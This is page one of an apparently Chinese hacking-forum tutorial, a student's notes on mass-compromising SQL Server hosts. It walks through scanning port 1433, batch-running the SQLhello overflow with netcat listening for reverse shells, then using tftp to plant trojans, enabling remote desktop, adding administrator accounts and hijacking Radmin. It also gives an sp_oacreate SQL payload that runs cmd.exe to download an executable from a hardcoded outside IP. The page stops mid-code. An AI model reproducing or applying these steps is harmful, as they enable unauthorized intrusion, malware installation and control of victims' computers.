本类共有 159 篇文章,今日更新 0

巴人学习手记-SQL漏洞的扫描与入侵之后续

[ 来源:http://www.91now.com/down/ | 作者: | 时间:2007-5-18 18:09:20 | 浏览: 人次 ]


一、如前所述,一般用户在使用SQL服务器时由于不注意输入自己的用户名和密码的,于是它就留下了入侵的漏洞,这个漏洞是人为造成的。还有一种情况,是计算机程序本身留下的漏洞,叫做SQL溢出漏洞,这种漏洞比前一种更好扫描,甚至可以批量进行处理,为广大爱好者所采用。 

  二、进行SQL溢出漏洞的扫描,要用到三个工具:一个是S命令,一个是SQLhello, 一个是 NC,用S命令进行扫描,用SQLhello进行溢出,用NC进行监听,反相连接。  

  三、S命令的使用方法是: 
  先在自己的电脑某一硬盘分区建立一个目录,如c:\SQL,把上面三个文件放进去。再在CMD下打开这个目录,运行S命令,格式是这样的: 

  C:\SQL>s tcp 起始IP 结束IP 1433 连接线程 /save 


  说明:tcp一项根据自己电脑的情况,也可以用syn,这个不行用那个。save是保存扫描结果的命令,不管在什么时候结束扫描,它都可以保存一个名字叫result.txt的文件,这个文件在处理的时候要注意扫描结束以后改名存放。名字最好用日期区别,不然下一次扫描时前次扫描的结果被复盖。1433 是SQL漏洞的端口.线程可以根据自己电脑的配置选择50、100、200、300等等合适的数目。 

  四、NC命令的用法: 
  在CMD下输入:如:C:\SQL>nc -vv -l -p 963 
  说明:nc是运行程序。 
-vv是查看命令,显示详细的信息。 
-l监听端口,即打开某个端口,等待对方连接 
-p 963 是监听端口,也可以选取其它和自己电脑没有冲突的端口。  

  五、SQLhello命令用法: 
  在CMD下输入:如:C:\SQL>SQLhello 对方的IP 对方的端口(1433)自己的IP 自己的端口(963或其它),因为扫描到1433端口的肉鸡很多,一个一个溢出很费事,可以做一个批处理来一次性运行,方法是: 
  1、打开已经扫描到有SQL漏洞主机信息的文件result.txt 
  2、在Excel中打开这个文本文件,然后点“插入”在对方IP前插入一列,填写SQLhello,再点编辑,选向下填充,使所有的列全部是SQLhello。 
  3、再在对方的IP和端口后添加两列,一为自己的IP, 一为自己的端口,同时 
删除“open”一列。再用填充的方法把所有的项填满。  
  4,把改过的文件保存为文本文件,再把后缀改为 bat,变成批处理文件格式。比如文件名改为:ttybr.bat 

六、实战操作: 
  1、前提:通过扫描在自己的扫描目录里已经得到result.txt,上面记载着扫描的信息。 
  2、对result.txt文件进行整理,去年首尾不必要的说明,只留下记录IP信息的部分,它的格式是:对方的IP 对方的端口1433 open,其它的部分全部删除,然后如上建立批处理文件,名字自己随意取,后缀是bat。 
  3、进入在自己的电脑上刚才建立的有溢出命令的目录里,打开数个CMD窗口,一般五六个左右为好,在每个窗口里的目录下运行CMD,输入nc命令: 

C:\SQL>nc -vv -l -p 963(或别的不冲突的端口) 

  使处于监听状态,为了便于观察,最好把这几个打开的CMD窗口在电脑上排列一 
下,然后等待肉鸡上线,便于观察。 

  4、再打开一个CMD窗口,运行如下命令: 

C:\SQL>ttybr.bat (就是刚才做的批处理命令) 

  运行这个命令之后,可以看到对刚才扫描的IP开始一个一个溢出,其中有无效的 
会跳过,有效的它就自动会在监听窗口有反映。如果溢出成功,在窗口里就会显示对方的IP,版本号等信息,同时自动打开对方的windows的system32目录,如: 

c:\windows\system32 

  这时候马上把溢出成功的肉鸡的IP记录保存下来,一会儿进行处理,为了让溢出 
继续进行,在c:\windows\system32下按ctrl加c终止,于是命令模式又回到自己的电脑上来了,显示是这样的:C:\SQL>, 然后再在CMD下输入监听命令。让它继续监听。在溢出一定数量的肉鸡之后,可以终止溢出,下面对已经获得IP的肉鸡进行操作。 
  5、有了对方的IP,怎样在肉鸡上进行操作,这是最重要的过程,操作起来也比较复杂,要针对不同的电脑,灵活运用各种方法和技巧。这是掌握溢出的重点。下面是几个要掌握的知识点。 

  a、重新建立溢出连接,这是首先要做的一步,把保存的对方IP填写到命令中去,如: 
C:\SQL>SQLhello 对方的IP 对方的端口(1433)自己的IP 自己的端口 

  如果对方没有下线的话,它会重新建立连接,并且出现回到对方c:\windows\system32下的状态,这时候你得到了CMD,可以在后面输入命令。 

  b、到了对方的c:\windows\system32下之后,当然第一件事是要了解对方电脑的情况,可以运行: 

dir c: 查看对方以C盘的内容 
ipconfig 查看对方是外网还是内网 
ver 查看对方电脑所使用的版本 
net start 查年对方开了哪些服务,等等,新手不妨避繁就易,先选择比较容易 
入侵的电脑进行试验。  

  c、输入什么命令,当然第一件事是上传文件,用什么上传?可以用TFTP。这时要建立TFTP服务,把上传的文件复制到TFPT要用到的目录里去,然后再更新IP,把服务器最小化。再在c:\windows\system32下输入命令: 

tftp -i 自己的IP 上传的文件名(带后缀) get 上传的文件名(带后缀), 

  于是一个文件就上传到c:\windows\system32了,建议最好先传一个反弹端口 
的木马,便于它主动连接你,这是为了防止动态IP而采取的措施。上传后检查一 
下,如果没有被杀,就运行它,这边开着远程控制客户端等待上线。运行的命令 
是:c:\windows\system32\木马文件名(带后缀) 回车。 

  d、进入了对方的电脑,当然你会想到怎样利用对方电脑已经打开的端口进行入侵,如果你想知道对方电脑是不是开了4899,这时可以用以下命令来了解它,输入: 

regedit /e c:\tty.txt HKEY_LOCAL_MACNIME\SYSTEM\RADmin 

  这条命令的意思是导出对方电脑的注册表文件,看是不是开了4899,如果开了,就可以用RADmin进行连接,上面的tty.txt是我们导出的指定的注册表文件,如果能导出来,没有出错的提示,就可以查看C盘的文件,应该有tty.txt。再用type tty.txt命令查看文本文件的命令看tty.txt的具体内容。 

  在打开的对方注册表文件里有一项“port”,下面记录着对方所开的端口,不过 
它是十六进制文件,如,查看到的是:27 16,还原过来是1627,再用电脑提供的 
计算器进行换算,选科学型,在十六进制下输入:1627,再点十进制前面园框中一 
下,选中,这时可以看到1627变成了5671,这个5671就是这台电脑4899所用的端口。 

  对方注册表文件里还有密码选项Parameter,它也是十六进制数据,由于密码远比端口的内容复杂,它含有数字、文字和符号等内容,如果能把它破解,我们就基本上掌握了进入对方RADmin的全部数据了。 

  如果对方没有开4899,就可以把从自己电脑导出radmin注册表文件上传到对方 
的电脑上去,用自己的生成服务端去控制对方的电脑。这里需要说明的是,如果对方开了4899端口,又安装了radmin,配置了自己的端口和密码,你如果改变了它的注册表文件,对方肯定不能用自己的密码和端口上线,这时它就会发现已被入侵,会马上修改自己的注册表文件,这时你企图利用radmin控制对方的方法就会失败,建议你不要对这类电脑进行radmin控制。说不定对方比你的手段更为高超。 

  e、如果对对方的电脑进行查询开了什么服务,可以用以下命令: 

c:\>net start 

   如果发现对方没有开telnet服务,可以键入命令: 

c:\>net start telnet 

  如果可以打开,就会出现telnet服务正在启动、完成的提示。对开启了telnet服务的电脑怎么入侵?如果是2000的机子,可以用以下方法进行: 

第一步,查看用户,命令:net user 
第二步,查看版本,命令:ver, 
或:type c:\boot.ini 
第三步,如果对方是2000服务器版本,就可以开3389,但是一定要看对方开了3389 
端口没有。 
可以用如后命令:c:\>query user 
如果回显:这个工具需要运行终端服务。说明对方有3389端口,但是没有打开,这时可以用tftp上传一个3389.exe上去打开它,方法是打开tftp服务器,更新IP,其它如前所述。 

  第四步,在对方C盘要目录下运行命令: 

tftp -i 更新了的自己的IP get 3389.exe c:\3389.exe 

  这样,就通过tftp服务器把自己电脑上的文件3389.exe上传到对方的C盘根目录下了。 

第五步,运行命令:c:\>3389.exe 

  运行之后,对方的电脑会重新启动。 

  第六步,如果对方的电脑是固定IP,回来之后可以继续连接,这时候可以添加用户名和密码,提升自己为管理员的权限,就可以用远程桌面连接,输入用户名和密码进行控制了。如果对方是可变的IP,那就在用到上面所说的利用用反弹端口的木马进行连接,利用反弹端口木马的telnet或超能终端运行CMD命令添加用户名和密码,提升自己为管理员的权限,进行远程桌面连接。 

  完整的开3389的操作远比上述复杂,涉及到隐藏自己等一系列操作,笑语嫣然有一个很好的动画,讲得很细致,照她那样来做,才比较稳妥。因为这要涉及另一个专题内容,这里就不叙述了。 

  说明,这一单元老师教学的内容很丰富,虽然看起来是个利用SQL漏洞溢出连接 
肉鸡的操作,但实际上要用到的知识很多,要灵活处理各种情况。 

一、还有一种情况,有的SQL数据库的管理员虽然是用的sa的用户名和空密码,我们可以扫描得到它的IP,但是,管理员为了安全起见,已经对存储过程做了限制,删除了xp_cmdshell和附带的动态链接库xpsql70.dll,这就使我们不能用cmd 命令进行连接,为了解决这个矛盾,我们可以利用其它的功能模块来调用cmd命令,同样可以达到入侵的目的。 

  二、要完成上述任务,需要在我们的电脑上安装一个SQL查询分析器,这个分析器网上有下载,用它来连接肉鸡。 

  三、为了利用其它的功能模块,还需要从tty老师的网站上下载一个代码文件,它的网址是: 

http://ww3.tty-1.net:808/ttysql.txt 

这个代码文件里最重要的部分我复制到这里,因为连接要用上它: 

代码一: 
select @@version 

代码二: 
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec  
sp_oamethod@shell,’run’,null,’%systemroot%\system32\cmd.exe /c tftp -i  
219.141.107.225 get ttygd.exe c:\ttygd.exe’-- 

代码三: 
create proc tty  
as 
begin 
set nocount on 
create table #tempfile (line varchar(8000)) 
exec (’bulk insert #tempfile from "c:\tty.txt"’) 
select * from #tempfile 
drop table #tempfile 
end 


代码四:exec ttybr   意思是执行查询。 

代码五:sp_helptext ttybr(欲查询的文件名)   查看存储过程是不是有错。 

  四、在进行操作之前,最好对已经扫描得到的有SQL漏洞的计算机进行一次过滤,看看哪些还在线上可以使用,然后对在线的肉鸡一个一个连接实验。 

  五、确定了可以连接的肉鸡之后,就可以尝试连接,第一步还是用SqlExec.exe进行连接,如果能顺得进行连接,运行CMD命令,那就用手记一讲过的方法进行入侵操作,如果出现这样的提示: 

SQL ERROR 

  那就说明对方做了限制,不能直接用CMD命令进行连接,这时候我们就可以打开SQL查询分析器操作了,具体的方法是: 
  1、打开查询分析器,在连接到SQL Server右边填入IP数据,点确定。 
  2,在查询分析器里“查询”选项里选择用“文本显示结果”。 
  3、下面看看怎么来实现调用cmd命令的过程: 

  a、先把代码一复制到对话框里 
select @@version  
  输入命令后,点击上面的“查询”选顶,,再点执行,执行之后,对话框一分为二,下面如果出现:Microsoft SQL Server 7.00-7.00.623......,说明当前用户版本太低,以下其它的代码将不被执行,建议放弃,不要浪费时间。如果出现 
Microsoft SQL Server 8.00.....此类机子可以执行后面的代码,可以向下进行。 

  b、删除上面的代码,在出现的对话框里把代码二的内容复制上去,如下: 
declare @shell int exec sp_oacreate ’wscript.shell’,@shell output exec  
sp_oamethod@shell,’run’,null,’%systemroot%\system32\cmd.exe /c tftp -i  
219.141.107.225 get ttygd.exe c:\ttygd.exe’-- 
在上面的代码里,前面不管,最重要的是后面的部分: 
“cmd.exe /c tftp -i 219.141.107.225 get ttygd.exe c:\ttygd.exe’--” 
“cmd.exe /c”是调用CMD命令, 
“tftp -i 219.141.107.225 get ttygd.exe c:\ttygd.exe’--”是以tftp方式向目标机上传文件的命令。 

  这段代码前面的内容我们不管它,我们只是改动“cmd.exe /c”以后的部分,如 
我们在cmd.exe /c后空一格,打入dir c:\,就是查看C盘的命令,输入命令后,点击上面的“查询”选顶,,再点执行,执行之后,对话框一分为二,下面出现: 
“命令已成功完成”,说明命令已被执行,但是它是什么内容呢,我们看不到,它只执行。为了能看到具体内容,可以在“cmd.exe /c dir c:\”之后,打一个 >符号,再在后面把要显示的文件名,如ttybr.txt,要显示的地方,如c盘,加上去,这部分命令格式是这样的: 

cmd.exe /c dir c:\>c:\ttybr.txt,这样,就把C盘的内容以文本文件方式记录下来了。 

c、记录了怎么查看呢,这里需要先把它导入到数据库的表格里,然后再用查询器查看。这时候先把代码二删掉,把代码三复制上去,如下: 
create proc tty  
as 
begin 
set nocount on 
create table #tempfile (line varchar(8000)) 
exec (’bulk&nb

[1] [2] 下一页

广告位